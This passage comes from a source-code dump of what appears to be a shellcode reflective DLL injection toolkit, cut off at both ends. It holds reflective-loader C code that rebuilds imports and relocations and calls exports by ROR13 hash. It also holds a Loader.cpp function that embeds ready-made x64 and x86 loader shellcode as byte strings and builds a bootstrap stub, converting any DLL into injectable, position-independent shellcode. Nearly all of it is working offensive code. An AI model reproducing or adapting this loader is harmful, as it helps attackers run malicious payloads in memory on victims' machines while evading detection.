DEREF_32(uiAddressArray)); 316 | } 317 | else 318 | { 319 | // get the VA of this functions import by name struct 320 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 321 | 322 | // use GetProcAddress and patch in the address for this imported function 323 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 324 | } 325 | 326 | // get the next imported function 327 | uiValueA += sizeof(ULONG_PTR); 328 | if (uiValueD) 329 | uiValueD += sizeof(ULONG_PTR); 330 | } 331 | 332 | // get the next import 333 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 334 | } 335 | 336 | // uiValueB = the address of the import directory 337 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]; 338 | 339 | if (uiValueB && ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress!=0) 340 | { 341 | // we assume their is an import table to process 342 | // uiValueC is the first entry in the import table 343 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 344 | // itterate through all imports 345 | while (((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->DllNameRVA) 346 | { 347 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->DllNameRVA)); 348 | 349 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 350 | uiValueA = (uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->ImportNameTableRVA); 351 | uiValueD = (uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->ImportAddressTableRVA); 352 | 353 | // itterate through all imported functions, importing by ordinal if no name present 354 | while (DEREF(uiValueA)) 355 | { 356 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 357 | DEREF(uiValueD) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name) - uiBaseAddress + 0x00400000; 358 | 359 | // get the next imported function 360 | uiValueA += sizeof(ULONG_PTR); 361 | if (uiValueD) 362 | uiValueD += sizeof(ULONG_PTR); 363 | } 364 | 365 | // get the next delay import 366 | uiValueC += sizeof(IMAGE_DELAYLOAD_DESCRIPTOR); 367 | } 368 | } 369 | 370 | // STEP 5: process all of our images relocations... 371 | 372 | // calculate the base address delta and perform relocations (even if we load at desired image base) 373 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 374 | 375 | // uiValueB = the address of the relocation directory 376 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 377 | 378 | // check if their are any relocations present 379 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 380 | { 381 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 382 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 383 | 384 | // and we itterate through all entries... 385 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 386 | { 387 | // uiValueA = the VA for this relocation block 388 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 389 | 390 | // uiValueB = number of entries in this relocation block 391 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 392 | 393 | // uiValueD is now the first entry in the current relocation block 394 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 395 | 396 | // we itterate through all the entries in the current block... 397 | while (uiValueB--) 398 | { 399 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 400 | // we dont use a switch statement to avoid the compiler building a jump table 401 | // which would not be very position independent! 402 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 403 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 404 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 405 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 406 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 407 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 408 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 409 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 410 | 411 | // get the next entry in the current relocation block 412 | uiValueD += sizeof(IMAGE_RELOC); 413 | } 414 | 415 | // get the next entry in the relocation directory 416 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 417 | } 418 | } 419 | 420 | // STEP 6: call our images entry point 421 | 422 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 423 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 424 | 425 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 426 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 427 | 428 | // call our respective entry point, fudging our hInstance value 429 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 430 | 431 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, (LPVOID)1); 432 | 433 | if (dwFunctionHash) { 434 | 435 | do 436 | { 437 | directory = &((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 438 | if (directory->Size == 0) 439 | break; 440 | 441 | exports = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + directory->VirtualAddress); 442 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) 443 | break; 444 | 445 | // search function name in list of exported names 446 | idx = -1; 447 | nameRef = (DWORD *)(uiBaseAddress + exports->AddressOfNames); 448 | ordinal = (WORD *)(uiBaseAddress + exports->AddressOfNameOrdinals); 449 | for (nameSearchIndex = 0; nameSearchIndex < exports->NumberOfNames; nameSearchIndex++, nameRef++, ordinal++) { 450 | 451 | pTempChar = (char *)(uiBaseAddress + (*nameRef)); 452 | dwCalculatedFunctionHash = 0; 453 | 454 | do 455 | { 456 | dwCalculatedFunctionHash = ROTR32(dwCalculatedFunctionHash, 13); 457 | dwCalculatedFunctionHash += *pTempChar; 458 | pTempChar++; 459 | } while (*(pTempChar - 1) != 0); 460 | 461 | if (dwFunctionHash == dwCalculatedFunctionHash) 462 | { 463 | idx = *ordinal; 464 | break; 465 | } 466 | } 467 | if (idx == -1) 468 | break; 469 | 470 | // AddressOfFunctions contains the RVAs to the "real" functions 471 | f = (EXPORTFUNC)(uiBaseAddress + (*(DWORD *)(uiBaseAddress + exports->AddressOfFunctions + (idx * 4)))); 472 | if (!f(lpUserData, nUserdataLen)) 473 | break; 474 | 475 | dwExitCode = 0; 476 | } while (0); 477 | } 478 | 479 | return uiBaseAddress; //Atempt to return a handle to the module 480 | } -------------------------------------------------------------------------------- /Native/Loader.cpp: -------------------------------------------------------------------------------- 1 | // RDIShellcodeCLoader.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include 7 | 8 | #define DEREF_64( name )*(DWORD64 *)(name) 9 | #define DEREF_32( name )*(DWORD *)(name) 10 | #define DEREF_16( name )*(WORD *)(name) 11 | #define DEREF_8( name )*(BYTE *)(name) 12 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) 13 | 14 | FARPROC GetProcAddressR(UINT_PTR uiLibraryAddress, LPCSTR lpProcName) 15 | { 16 | FARPROC fpResult = NULL; 17 | 18 | if (uiLibraryAddress == NULL) 19 | return NULL; 20 | 21 | UINT_PTR uiAddressArray = 0; 22 | UINT_PTR uiNameArray = 0; 23 | UINT_PTR uiNameOrdinals = 0; 24 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 25 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 26 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 27 | 28 | // get the VA of the modules NT Header 29 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 30 | 31 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 32 | 33 | // get the VA of the export directory 34 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); 35 | 36 | // get the VA for the array of addresses 37 | uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); 38 | 39 | // get the VA for the array of name pointers 40 | uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); 41 | 42 | // get the VA for the array of name ordinals 43 | uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); 44 | 45 | // test if we are importing by name or by ordinal... 46 | if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) 47 | { 48 | // import by ordinal... 49 | 50 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 51 | uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); 52 | 53 | // resolve the address for this imported function 54 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); 55 | } 56 | else 57 | { 58 | // import by name... 59 | DWORD dwCounter = pExportDirectory->NumberOfNames; 60 | while (dwCounter--) 61 | { 62 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray)); 63 | 64 | // test if we have a match... 65 | if (strcmp(cpExportedFunctionName, lpProcName) == 0) 66 | { 67 | // use the functions name ordinal as an index into the array of name pointers 68 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 69 | 70 | // calculate the virtual address for the function 71 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); 72 | 73 | // finish... 74 | break; 75 | } 76 | 77 | // get the next exported function name 78 | uiNameArray += sizeof(DWORD); 79 | 80 | // get the next exported function name ordinal 81 | uiNameOrdinals += sizeof(WORD); 82 | } 83 | } 84 | 85 | return fpResult; 86 | } 87 | 88 | BOOL Is64BitDLL(UINT_PTR uiLibraryAddress) 89 | { 90 | PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 91 | 92 | if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) return true; 93 | else return false; 94 | } 95 | 96 | DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size) 97 | { 98 | std::FILE *fp = std::fopen(filename, "rb"); 99 | 100 | if (fp) 101 | { 102 | fseek(fp, 0, SEEK_END); 103 | size = ftell(fp); 104 | fseek(fp, 0, SEEK_SET); 105 | 106 | *data = (LPSTR)malloc(size + 1); 107 | fread(*data, size, 1, fp); 108 | fclose(fp); 109 | return true; 110 | } 111 | return false; 112 | } 113 | 114 | DWORD HashFunctionName(LPSTR name) { 115 | DWORD hash = 0; 116 | 117 | do 118 | { 119 | hash = ROTR32(hash, 13); 120 | hash += *name; 121 | name++; 122 | } while (*(name - 1) != 0); 123 | 124 | return hash; 125 | } 126 | 127 | BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, LPSTR &outBytes, DWORD &outLength) 128 | { 129 | 130 | LPSTR rdiShellcode = NULL; 131 | DWORD rdiShellcodeLength, dllLocation, userDataLocation; 132 | 133 | #ifdef _DEBUG 134 | LPSTR rdiShellcode64 = NULL, rdiShellcode32 = NULL; 135 | DWORD rdiShellcode64Length = 0, rdiShellcode32Length = 0; 136 | GetFileContents("ShellcodeRDI_x64.bin", &rdiShellcode64, rdiShellcode64Length); 137 | GetFileContents("ShellcodeRDI_x86.bin", &rdiShellcode32, rdiShellcode32Length); 138 | 139 | #else 140 | LPSTR rdiShellcode64 = "\xe9\x1b\x04\x00\x00\xcc\xcc\xcc\x48\x89\x5c\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xf1\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb4\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x33\xd2\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x42\x8b\x9c\x00\x88\x00\x00\x00\x85\xdb\x74\xd4\x48\x8b\x04\x24\x48\xc1\xe8\x10\x44\x0f\xb7\xd0\x45\x85\xd2\x74\x21\x48\x8b\x4c\x24\x08\x45\x8b\xda\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xeb\x01\x75\xe7\x4d\x8d\x14\x18\x33\xc9\x41\x8b\x7a\x20\x49\x03\xf8\x41\x39\x4a\x18\x76\x8f\x8b\x1f\x45\x33\xdb\x49\x03\xd8\x48\x8d\x7f\x04\x0f\xbe\x03\x48\xff\xc3\x41\xc1\xcb\x0d\x44\x03\xd8\x80\x7b\xff\x00\x75\xed\x41\x8d\x04\x13\x3b\xc6\x74\x0d\xff\xc1\x41\x3b\x4a\x18\x72\xd1\xe9\x5b\xff\xff\xff\x41\x8b\x42\x24\x03\xc9\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x74\x24\x28\x48\x83\xc4\x10\x5f\xc3\xcc\xcc\xcc\x44\x89\x4c\x24\x20\x4c\x89\x44\x24\x18\x89\x54\x24\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xec\x38\x48\x8b\xe9\x45\x8b\xe1\xb9\x4c\x77\x26\x07\x44\x8b\xf2\xe8\xd7\xfe\xff\xff\xb9\x49\xf7\x02\x78\x4c\x8b\xe8\xe8\xca\xfe\xff\xff\xb9\x58\xa4\x53\xe5\x48\x89\x84\x24\x80\x00\x00\x00\xe8\xb8\xfe\xff\xff\xb9\xaf\xb1\x5c\x94\x48\x8b\xd8\xe8\xab\xfe\xff\xff\x48\x63\x75\x3c\x33\xc9\x48\x03\xf5\x48\x89\x44\x24\x20\x41\xb8\x00\x30\x00\x00\x4c\x8b\xf8\x44\x8d\x49\x40\x8b\x56\x50\xff\xd3\x44\x8b\x46\x54\x48\x8b\xf8\x48\x8b\xcd\x41\xbb\x01\x00\x00\x00\x4d\x85\xc0\x74\x13\x48\x8b\xd0\x48\x2b\xd5\x8a\x01\x88\x04\x0a\x49\x03\xcb\x4d\x2b\xc3\x75\xf3\x44\x0f\xb7\x4e\x06\x0f\xb7\x46\x14\x4d\x85\xc9\x74\x38\x48\x8d\x4e\x2c\x48\x03\xc8\x8b\x51\xf8\x4d\x2b\xcb\x44\x8b\x01\x48\x03\xd7\x44\x8b\x51\xfc\x4c\x03\xc5\x4d\x85\xd2\x74\x10\x41\x8a\x00\x4d\x03\xc3\x88\x02\x49\x03\xd3\x4d\x2b\xd3\x75\xf0\x48\x83\xc1\x28\x4d\x85\xc9\x75\xcf\x8b\x9e\x90\x00\x00\x00\x48\x03\xdf\x8b\x43\x0c\x85\xc0\x0f\x84\x91\x00\x00\x00\x48\x8b\xac\x24\x80\x00\x00\x00\x8b\xc8\x48\x03\xcf\x41\xff\xd5\x44\x8b\x3b\x4c\x8b\xe0\x44\x8b\x73\x10\x4c\x03\xff\x4c\x03\xf7\xeb\x49\x49\x83\x3f\x00\x7d\x29\x49\x63\x44\x24\x3c\x41\x0f\xb7\x17\x42\x8b\x8c\x20\x88\x00\x00\x00\x42\x8b\x44\x21\x10\x42\x8b\x4c\x21\x1c\x48\x2b\xd0\x49\x03\xcc\x8b\x04\x91\x49\x03\xc4\xeb\x0f\x49\x8b\x16\x49\x8b\xcc\x48\x83\xc2\x02\x48\x03\xd7\xff\xd5\x49\x89\x06\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x83\x3e\x00\x75\xb1\x8b\x43\x20\x48\x83\xc3\x14\x85\xc0\x75\x8c\x44\x8b\xb4\x24\x88\x00\x00\x00\x4c\x8b\x7c\x24\x20\x44\x8b\xa4\x24\x98\x00\x00\x00\x4c\x8b\xd7\x41\xbd\x02\x00\x00\x00\x4c\x2b\x56\x30\x83\xbe\xb4\x00\x00\x00\x00\x41\x8d\x6d\xff\x0f\x84\x97\x00\x00\x00\x44\x8b\x86\xb0\x00\x00\x00\x4c\x03\xc7\x41\x8b\x40\x04\x85\xc0\x0f\x84\x81\x00\x00\x00\xbb\xff\x0f\x00\x00\x41\x8b\x10\x4d\x8d\x58\x08\x44\x8b\xc8\x48\x03\xd7\x49\x83\xe9\x08\x49\xd1\xe9\x74\x57\x41\x0f\xb7\x0b\x4c\x2b\xcd\x0f\xb7\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x75\x09\x48\x23\xcb\x4c\x01\x14\x11\xeb\x32\x66\x83\xf8\x03\x75\x09\x48\x23\xcb\x44\x01\x14\x11\xeb\x23\x66\x3b\xc5\x75\x10\x48\x23\xcb\x49\x8b\xc2\x48\xc1\xe8\x10\x66\x01\x04\x11\xeb\x0e\x66\x41\x3b\xc5\x75\x08\x48\x23\xcb\x66\x44\x01\x14\x11\x4d\x03\xdd\x4d\x85\xc9\x75\xa9\x41\x8b\x40\x04\x4c\x03\xc0\x41\x8b\x40\x04\x85\xc0\x75\x84\x8b\x5e\x28\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\x48\x03\xdf\x41\xff\xd7\x4c\x8b\xc5\x8b\xd5\x48\x8b\xcf\xff\xd3\x45\x85\xf6\x0f\x84\x93\x00\x00\x00\x83\xbe\x8c\x00\x00\x00\x00\x0f\x84\x86\x00\x00\x00\x8b\x96\x88\x00\x00\x00\x48\x03\xd7\x44\x8b\x5a\x18\x45\x85\xdb\x74\x74\x83\x7a\x14\x00\x74\x6e\x44\x8b\x52\x20\x33\xdb\x44\x8b\x4a\x24\x4c\x03\xd7\x4c\x03\xcf\x45\x85\xdb\x74\x59\x45\x8b\x02\x4c\x03\xc7\x33\xc9\x41\x0f\xbe\x00\x4c\x03\xc5\xc1\xc9\x0d\x03\xc8\x41\x80\x78\xff\x00\x75\xed\x44\x3b\xf1\x74\x10\x03\xdd\x49\x83\xc2\x04\x4d\x03\xcd\x41\x3b\xdb\x72\xd2\xeb\x29\x41\x0f\xb7\x01\x83\xf8\xff\x74\x20\x8b\x52\x1c\x48\x8b\x8c\x24\x90\x00\x00\x00\xc1\xe0\x02\x48\x98\x48\x03\xc7\x44\x8b\x04\x02\x41\x8b\xd4\x4c\x03\xc7\x41\xff\xd0\x48\x8b\xc7\x48\x83\xc4\x38\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\x5e\x5d\x5b\xc3\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x56\x48\x8b\xf4\x48\x83\xe4\xf0\x48\x83\xec\x20\xe8\xcf\xfc\xff\xff\x48\x8b\xe6\x5e\xc3"; 141 | LPSTR rdiShellcode32 = "\x83\xec\x18\x53\x55\x56\x57\xb9\x4c\x77\x26\x07\xe8\x9d\x02\x00\x00\xb9\x49\xf7\x02\x78\x89\x44\x24\x18\xe8\x8f\x02\x00\x00\xb9\x58\xa4\x53\xe5\x89\x44\x24\x1c\xe8\x81\x02\x00\x00\xb9\xaf\xb1\x5c\x94\x8b\xf0\xe8\x75\x02\x00\x00\x8b\x6c\x24\x2c\x6a\x40\x68\x00\x30\x00\x00\x89\x44\x24\x2c\x8b\x5d\x3c\x03\xdd\x89\x5c\x24\x18\xff\x73\x50\x6a\x00\xff\xd6\x8b\x73\x54\x8b\xf8\x89\x7c\x24\x20\x8b\xd5\x85\xf6\x74\x0f\x8b\xcf\x2b\xcd\x8a\x02\x88\x04\x11\x42\x83\xee\x01\x75\xf5\x0f\xb7\x6b\x06\x0f\xb7\x43\x14\x85\xed\x74\x34\x8d\x4b\x2c\x03\xc8\x8b\x44\x24\x2c\x8b\x51\xf8\x4d\x8b\x31\x03\xd7\x8b\x59\xfc\x03\xf0\x85\xdb\x74\x0f\x8a\x06\x88\x02\x42\x46\x83\xeb\x01\x75\xf5\x8b\x44\x24\x2c\x83\xc1\x28\x85\xed\x75\xd9\x8b\x5c\x24\x10\x8b\xb3\x80\x00\x00\x00\x03\xf7\x89\x74\x24\x14\x8b\x46\x0c\x85\xc0\x74\x7d\x03\xc7\x50\xff\x54\x24\x1c\x8b\x6e\x10\x8b\xd8\x8b\x06\x03\xef\x03\xc7\x89\x44\x24\x2c\x83\x7d\x00\x00\x74\x4f\x8b\x74\x24\x1c\x8b\x08\x85\xc9\x74\x1e\x79\x1c\x8b\x43\x3c\x0f\xb7\xc9\x8b\x44\x18\x78\x2b\x4c\x18\x10\x8b\x44\x18\x1c\x8d\x04\x88\x8b\x04\x18\x03\xc3\xeb\x0c\x8b\x45\x00\x83\xc0\x02\x03\xc7\x50\x53\xff\xd6\x89\x45\x00\x83\xc5\x04\x8b\x44\x24\x2c\x83\xc0\x04\x89\x44\x24\x2c\x83\x7d\x00\x00\x75\xb9\x8b\x74\x24\x14\x8b\x46\x20\x83\xc6\x14\x89\x74\x24\x14\x85\xc0\x75\x87\x8b\x5c\x24\x10\x8b\xef\xc7\x44\x24\x18\x01\x00\x00\x00\x2b\x6b\x34\x83\xbb\xa4\x00\x00\x00\x00\x0f\x84\xaa\x00\x00\x00\x8b\x93\xa0\x00\x00\x00\x03\xd7\x89\x54\x24\x2c\x8d\x4a\x04\x8b\x01\x89\x4c\x24\x14\x85\xc0\x0f\x84\x8d\x00\x00\x00\x8b\x32\x8d\x58\xf8\x03\xf7\x8d\x42\x08\xd1\xeb\x89\x44\x24\x1c\x74\x60\x6a\x02\x8b\xf8\x5a\x0f\xb7\x0f\x4b\x66\x8b\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x74\x06\x66\x83\xf8\x03\x75\x0b\x81\xe1\xff\x0f\x00\x00\x01\x2c\x31\xeb\x27\x66\x3b\x44\x24\x18\x75\x11\x81\xe1\xff\x0f\x00\x00\x8b\xc5\xc1\xe8\x10\x66\x01\x04\x31\xeb\x0f\x66\x3b\xc2\x75\x0a\x81\xe1\xff\x0f\x00\x00\x66\x01\x2c\x31\x03\xfa\x85\xdb\x75\xb1\x8b\x7c\x24\x20\x8b\x54\x24\x2c\x8b\x4c\x24\x14\x03\x11\x89\x54\x24\x2c\x8d\x4a\x04\x8b\x01\x89\x4c\x24\x14\x85\xc0\x0f\x85\x77\xff\xff\xff\x8b\x5c\x24\x10\x8b\x73\x28\x6a\x00\x6a\x00\x6a\xff\x03\xf7\xff\x54\x24\x30\x33\xc0\x40\x50\x50\x57\xff\xd6\x83\x7c\x24\x30\x00\x74\x7c\x83\x7b\x7c\x00\x74\x76\x8b\x4b\x78\x03\xcf\x8b\x41\x18\x85\xc0\x74\x6a\x83\x79\x14\x00\x74\x64\x8b\x69\x20\x8b\x71\x24\x03\xef\x83\x64\x24\x2c\x00\x03\xf7\x85\xc0\x74\x51\x8b\x5d\x00\x03\xdf\x33\xd2\x0f\xbe\x03\xc1\xca\x0d\x03\xd0\x43\x80\x7b\xff\x00\x75\xf1\x39\x54\x24\x30\x74\x16\x8b\x44\x24\x2c\x83\xc5\x04\x40\x83\xc6\x02\x89\x44\x24\x2c\x3b\x41\x18\x72\xd0\xeb\x1f\x0f\xb7\x16\x83\xfa\xff\x74\x17\x8b\x41\x1c\xff\x74\x24\x38\xff\x74\x24\x38\x8d\x04\x90\x8b\x04\x38\x03\xc7\xff\xd0\x59\x59\x8b\xc7\x5f\x5e\x5d\x5b\x83\xc4\x18\xc3\x83\xec\x10\x64\xa1\x30\x00\x00\x00\x53\x55\x56\x8b\x40\x0c\x57\x89\x4c\x24\x18\x8b\x70\x0c\xe9\x8a\x00\x00\x00\x8b\x46\x30\x33\xc9\x8b\x5e\x2c\x8b\x36\x89\x44\x24\x14\x8b\x42\x3c\x8b\x6c\x10\x78\x89\x6c\x24\x10\x85\xed\x74\x6d\xc1\xeb\x10\x33\xff\x85\xdb\x74\x1f\x8b\x6c\x24\x14\x8a\x04\x2f\xc1\xc9\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xc1\xe0\x03\xc8\x47\x3b\xfb\x72\xe9\x8b\x6c\x24\x10\x8b\x44\x2a\x20\x33\xdb\x8b\x7c\x2a\x18\x03\xc2\x89\x7c\x24\x14\x85\xff\x74\x31\x8b\x28\x33\xff\x03\xea\x83\xc0\x04\x89\x44\x24\x1c\x0f\xbe\x45\x00\xc1\xcf\x0d\x03\xf8\x45\x80\x7d\xff\x00\x75\xf0\x8d\x04\x0f\x3b\x44\x24\x18\x74\x20\x8b\x44\x24\x1c\x43\x3b\x5c\x24\x14\x72\xcf\x8b\x56\x18\x85\xd2\x0f\x85\x6b\xff\xff\xff\x33\xc0\x5f\x5e\x5d\x5b\x83\xc4\x10\xc3\x8b\x74\x24\x10\x8b\x44\x16\x24\x8d\x04\x58\x0f\xb7\x0c\x10\x8b\x44\x16\x1c\x8d\x04\x88\x8b\x04\x10\x03\xc2\xeb\xdb"; 142 | 143 | DWORD rdiShellcode64Length = 1087, rdiShellcode32Length = 828; 144 | #endif 145 | 146 | if (Is64BitDLL((UINT_PTR)inBytes)) 147 | { 148 | 149 | rdiShellcode = rdiShellcode64; 150 | rdiShellcodeLength = rdiShellcode64Length; 151 | 152 | if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; 153 | 154 | BYTE bootstrap[34] = { 0 }; 155 | DWORD i = 0; 156 | 157 | // call next instruction (Pushes next instruction address to stack) 158 | bootstrap[i++] = 0xe8; 159 | bootstrap[i++] = 0x00; 160 | bootstrap[i++] = 0x00; 161 | bootstrap[i++] = 0x00; 162 | bootstrap[i++] = 0x00; 163 | 164 | //Here is where the we pop the address of our next instruction off the stack and into the first register 165 | // pop rcx 166 | bootstrap[i++] = 0x59; 167 | 168 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX 169 | bootstrap[i++] = 0x49; 170 | bootstrap[i++] = 0x89; 171 | bootstrap[i++] = 0xc8; 172 | 173 | // Setup the location of the DLL into RCX 174 | // add rcx, 29 (Size of bootstrap from pop) + 175 | bootstrap[i++] = 0x48; 176 | bootstrap[i++] = 0x81; 177 | bootstrap[i++] = 0xc1; 178 | dllLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength; 179 | MoveMemory(bootstrap + i, &dllLocation, sizeof(dllLocation)); 180 | i += sizeof(dllLocation); 181 | 182 | // mov edx, 183 | bootstrap[i++] = 0xba; 184 | MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); 185 | i += sizeof(userFunction); 186 | 187 | // Setup the location of our user data 188 | // add r8, (Size of bootstrap) + + 189 | bootstrap[i++] = 0x49; 190 | bootstrap[i++] = 0x81; 191 | bootstrap[i++] = 0xc0; 192 | userDataLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength + length; 193 | MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); 194 | i += sizeof(userDataLocation); 195 | 196 | // mov r9d, 197 | bootstrap[i++] = 0x41; 198 | bootstrap[i++] = 0xb9; 199 | MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); 200 | i += sizeof(userLength); 201 | 202 | // Ends up looking like this in memory: 203 | // Bootstrap shellcode 204 | // RDI shellcode 205 | // DLL bytes 206 | // User data 207 | outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); 208 | outBytes = (LPSTR)malloc(outLength); 209 | MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); 210 | MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); 211 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); 212 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); 213 | 214 | } 215 | else { // 32 bit 216 | 217 | rdiShellcode = rdiShellcode32; 218 | rdiShellcodeLength = rdiShellcode32Length; 219 | 220 | if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; 221 | 222 | BYTE bootstrap[40] = { 0 }; 223 | DWORD i = 0; 224 | 225 | // call next instruction (Pushes next instruction address to stack) 226 | bootstrap[i++] = 0xe8; 227 | bootstrap[i++] = 0x00; 228 | bootstrap[i++] = 0x00; 229 | bootstrap[i++] = 0x00; 230 | bootstrap[i++] = 0x00; 231 | 232 | //Here is where the we pop the address of our next instruction off the stack and into the first register 233 | // pop eax 234 | bootstrap[i++] = 0x58; 235 | 236 | // mov ebx, eax - copy our location in memory to ebx before we start 